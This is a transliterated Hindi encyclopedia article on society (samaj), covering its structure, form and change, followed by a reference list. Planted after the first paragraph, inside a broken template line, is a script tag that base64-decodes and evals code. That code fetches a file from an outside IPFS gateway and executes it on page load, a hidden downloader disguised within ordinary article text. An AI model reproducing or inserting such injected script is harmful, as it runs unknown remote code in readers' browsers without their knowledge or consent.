समाज

samaj manaviy aant:kriyaoan ke prakram ki ek pranali hai. malaviy kriyaean chetan aur achetan donoan sthitiyoan mean abhipray hoti haian. vyakti ka vyavahar kuchh nishchit lakshyoan ki poorti ke prayas ki abhivyakti hai. usaki kuchh naisargik tatha arjit avashyakataean hoti haian - kam, kshudha, suraksha adi. inaki poorti ke abhav mean vyakti mean kuantha aur manasik tanav vyapt ho jata hai. vah inaki poorti svayan karane mean saksham nahian hota at: in avashyakataoan ki samyakh‌ santushti ke lie apane dirgh vikasakram mean manushy ne ek samashtigat vyavastha ko vikasit kiya hai. is vyavastha ko hi samaj ke nam se sambodhit karate haian. yah vyaktiyoan ka aisa sankalan hai jisamean ve nishchit sanbandh aur vishisht vyavahar dvara ek doosare se bandhe hote haian. vyaktiyoan ki vah sangathit vyavastha vibhinn karyoan ke lie vibhinn manadandoan ko vikasit karati hai, jinake kuchh vyavahar anumat aur kuchh nishiddh hote haian.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

samaj ki sanrachana

samaj mean vibhinn kartaoan ka samavesh hota hai, jinamean aant:kriya hoti hai. is aant:kriya ka bhautik aur paryavaranatmak adhar hota hai. pratyek karta adhikatam santushti ki or unmukh hota hai. sarvabhaumik avashyakataoan ki poorti samaj ke astitv ko akshunn banae rakhane ke lie anivary hai. tadatmyajanit avashyakataean sanrachanatmak tatvoan ke sahastitv ke kshetr ka niyaman karati hai. kriya ke unmesh ki pranali tatha sthitijany tatv, jinaki or kriya unmukh hai, samaj ki sanrachana ka nirdharan karate haian. sanyojak tatv aant:kriya ki prakriya ko santulit karate hai tatha viyojak tatv samajik santulan mean vyavadhan upasthit karate haian. viyojak tatvoan ke niyantran hetu sansthakaran dvara kartaoan ke sanbandhoan tatha kriyaoan ka samayojan hota hai jisase parasparik sahayog ki vriddhi hoti hai aur aantarvirodhoan ka shaman hota hai. samajik pranali mean vyakti ko kary aur pad, dand aur puraskar, yogyata tatha gunoan se sanbandhit samany niyamoan aur svikrit manadandoan ke adhar par pradan kie jate haian. in avadharanaoan ki visangati ki sthiti mean vyakti samaj ki manyataoan aur vidhaoan ke anusar apana vyavasthapan nahian kar pata aur usaka samajik vyavahar viphal ho jata hai, aisi sthiti utpann hone par usake lakshy ko siddhi nahian ho pati, kyoanki use samaj ke any sadasyoan ka sahayog nahian prapt hota. samajik dand ke isi bhay se samanyataya vyakti samaj mean prachalit many paranparaoan ki upeksha nahian kar pata, vah unase samayojan ka har sanbhav prayas karata hai.

samaj ka svaroop

chooanki samaj vyaktiyoan ke parasparik sanbandhoan ki ek vyavastha hai isalie isaka koee moort svaroop nahian hota; isaki avadharana anubhootimoolak hai. par isake sadasyoan mean ek doosare ki satta aur astitv ki pratiti hoti hai. jnan aur pratiti ke abhav mean samajik sanbandhoan ka vikas sanbhav nahian hai. parasparik sahayog evan sanbandh ka adhar saman svarth hota hai. saman svarth ki siddhi saman acharan dvara sanbhav hoti hai. is prakar ka samoohik acharan samaj dvara nirdharit aur nirdeshit hota hai. vartaman samajik manyataoan ki saman lakshyoan se sangati ke sanbandh mean sahamati anivary hoti hai. yah sahamati parasparik vimarsh tatha samajik pratikoan ke atmikaran par adharit hoti hai. isake atirikt pratyek sadasy ko yah vishvas rahata hai ki vah jin samajik vidhaoan ko uchit manata aur unaka palan karata hai, unaka palan doosare bhi karate hai. is prakar ki sahamati, vishvas evan tadanuroop acharan samajik vyavastha ko sthir rakhate hai. vyaktiyoan dvara simit avashyakataoan ki poorti hetu sthapit vibhinn sansthaean is prakar kary karati hai, jisase ek samavet ikaee ke roop mean samaj ka sangathan aprabhavit rahata hai. asahamati ki sthiti aantarvaiyaktik evan aant:sansthatmak sangharshoan ko janm deti hai jo samaj ke vighatan ke karan banate hai. yah asahamati us sthiti mean paida hoti hai jab vyakti samoohikata ke sath atmikaran mean asaphal rahata hai. atmikaran aur niyamoan ko svikar karane mean viphalata kulagati adhikaroan evan simit sadasyoan ke prabhutv ke prati moolabhoot abhivrittiyoan se sanbaddh ki ja sakati hai. isake atirikt dhyey nishchit ho jane ke pashchath‌ avasar is viphalata ka karan banata hai.

samajik sangathan ka svaroop kabhi shashvat nahian bana rahata. samaj vyaktiyoan ka samuchchay hai aur vibhinn lakshyoan ki prapti ke lie vibhinn samoohoan mean vibhakt hai. at: manav man aur samooh man ki gatishilata use nirantar prabhavit karati rahati hai. parinamasvaroop samaj parivartanashil hota hai. usaki yah gatishilata hi usake vikas ka mool hai. samajik vikas parivartan ki ek chirantan prakriya hai jo sadasyoan ki akaankshaoan aur punarnirdharit lakshyoan ki prapti ki disha mean unmukh rahati hai. sankraman ki nirantarata mean sadasyoan ka upakram, unaki sahamati aur nootanata se anukoolan ki pravritti kriyashil rahati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

samaj (hindi) bharatakhoj. abhigaman tithi: 6 faravari, 2015.

sandarbh granth

• maik aibar evan pej : sosaiti
• devis : hyooman sosaiti
• aiandarsan : sosaiti
• es. koniang
• main aiand sosayati
• kardinar : iandivijual aiand di sosaiti
• svidelam krafard : main in sosaiti
• meril : sosaiti aiand kalchar
• shapiro : main, balvar aiand sosaiti
• phauandeshans aauv madarn soshiyalaji siriz
• hvat iz soshiyalaji
• vilaphredo paireto : bhaiand, selph aiand sosaiti
• martan : soshal thiyari aiand soshal strakchar
• maiksavebar : thiyari aauv ekonamik aiand soshal argenaizeshan.